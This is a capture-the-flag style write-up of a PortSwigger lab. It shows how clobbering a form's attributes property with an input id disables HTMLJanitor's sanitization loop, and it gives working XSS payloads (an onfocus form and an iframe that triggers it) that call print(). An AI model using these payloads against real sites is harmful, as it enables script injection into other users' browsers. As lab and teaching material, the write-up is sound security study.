Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type DOM Clobbering → HTML Filter Bypass → XSS
Difficulty Expert
Objective Bypass HTMLJanitor's attribute sanitization via DOM clobbering to call print()

Clobbering DOM Attributes to Bypass HTML Filters — Writeup


Reconnaissance

Initial Observation

Looking at the page source of any post:

<span id='user-comments'>
    <script src='/resources/js/htmlJanitor.js'></script>
    <script src='/resources/js/loadCommentsWithHtmlJanitor.js'></script>
    <script>loadComments('/post/comment')</script>
</span>

The comment system uses HTMLJanitor — a JavaScript library that sanitizes HTML against a whitelist of allowed tags and attributes. Let's understand what's being allowed before trying anything.

Web — Analyzing the Whitelist and Sanitization Logic

In loadCommentsWithHtmlJanitor.js, the janitor is instantiated with this config:

let janitor = new HTMLJanitor({tags: {input:{name:true,type:true,value:true},form:{id:true},i:{},b:{},p:{}}});

So the allowed tags are: input (with name, type, value), form (with id), i, b, p. Anything else gets stripped.

Testing what actually survives when posting a comment with various tags:

<h1>Teto</h1> tetotesting
<script>alert(0)</script> Tetotesting
<form id=x tabindex=0 onfocus=alert(0)>
<input id=teto name=miku>
</form>
Screenshot

Looking at how the comment rendered in source:

<form id="x">
<input name="miku">
</form>
Screenshot

<h1> and <script> were stripped entirely. From <form>, tabindex and onfocus were removed. From <input>, id="teto" was removed. Only what's on the whitelist survives.

The sanitization responsible for this is in HTMLJanitor's _sanitize function:

// Sanitize attributes
for (var a = 0; a < node.attributes.length; a += 1) {
    var attr = node.attributes[a];

    if (shouldRejectAttr(attr, allowedAttrs, node)) {
        node.removeAttribute(attr.name);
        a = a - 1;
    }
}

It iterates node.attributes from index 0 up to node.attributes.length, checking each attribute against the whitelist via shouldRejectAttr. If an attribute isn't allowed, it removes it.

The key detail here is node.attributes.length — that's what controls how many iterations happen. And node.attributes is a NamedNodeMap, which is a live collection of DOM attributes.

Understanding NamedNodeMap and the Clobbering Vector

NamedNodeMap is the interface that represents a collection of attribute nodes. For example, given this HTML:

<form id="tetoForm" name="mikudayo">
  <input id=tetoInput>
</form>

In the console:

window.tetoForm.attributes         // NamedNodeMap [ id="tetoForm", name="mikudayo" ]
window.tetoForm.attributes.length  // 2
Screenshot

Now here's the trick. If we rename the input's id to attributes:

<form id="tetoForm" name="mikudayo">
  <input id=attributes>
</form>
window.tetoForm.attributes         // <input id="attributes">
window.tetoForm.attributes.length  // undefined
Screenshot

window.tetoForm.attributes no longer returns the NamedNodeMap of the form's attributes — it returns the <input> element that has id="attributes". And since an input element doesn't have a .length property by default, node.attributes.length becomes undefined.

In the sanitization loop: for (var a = 0; a < undefined; a += 1)0 < undefined is false immediately. The loop never runs. Attributes are never checked. Nothing gets removed.

This is the bypass: by injecting an <input id=attributes> inside a <form>, we clobber the form's attributes property and make HTMLJanitor think there are no attributes to sanitize — so it leaves everything in place, including tabindex and onfocus.


Attack Path

Injecting the Clobbered Form

Testing the bypass in a comment with alert(0) first to confirm:

<form id=teto tabindex=0 onfocus=alert(0)>
  <input id=attributes>
</form>
Screenshot
Screenshot

The rendered comment:

<section class="comment"><p>teto | 25-05-2026<img class="avatar" src="/resources/images/avatarDefault.svg"></p><p><form id="teto" tabindex="0" onfocus="alert(0)">
  <input>
</form></p><p></p></section>

tabindex and onfocus survived. The clobbering worked — HTMLJanitor iterated zero attributes because .length was undefined.

Triggering the onfocus via iframe

The onfocus event fires when the element receives focus. We need the victim's browser to focus the form. An iframe that appends a URL fragment pointing to the form's id will do it — browsers automatically focus the element referenced by the fragment:

<iframe src="https://0ade00f004c6a38180dd6c24004f004d.web-security-academy.net/post?postId=1" onload="setTimeout(()=> this.src += '#teto', 500);">

The setTimeout gives the page half a second to fully load before appending #teto to the src. When the iframe's URL updates to include #teto, the browser scrolls to and focuses the <form id=teto>, triggering onfocus.

Screenshot

It works. Switching alert(0) to print(), posting a fresh comment on a different post, and updating the exploit server:

<form id=teto tabindex=0 onfocus=print()>
  <input id=attributes>
</form>
Screenshot
<iframe src="https://0ade00f004c6a38180dd6c24004f004d.web-security-academy.net/post?postId=6" onload="setTimeout(()=> this.src += '#teto', 500);">
Screenshot

Viewing the exploit first to confirm:

Screenshot

print() fires. Delivering to the victim:

Screenshot

Lab solved o.o

Resources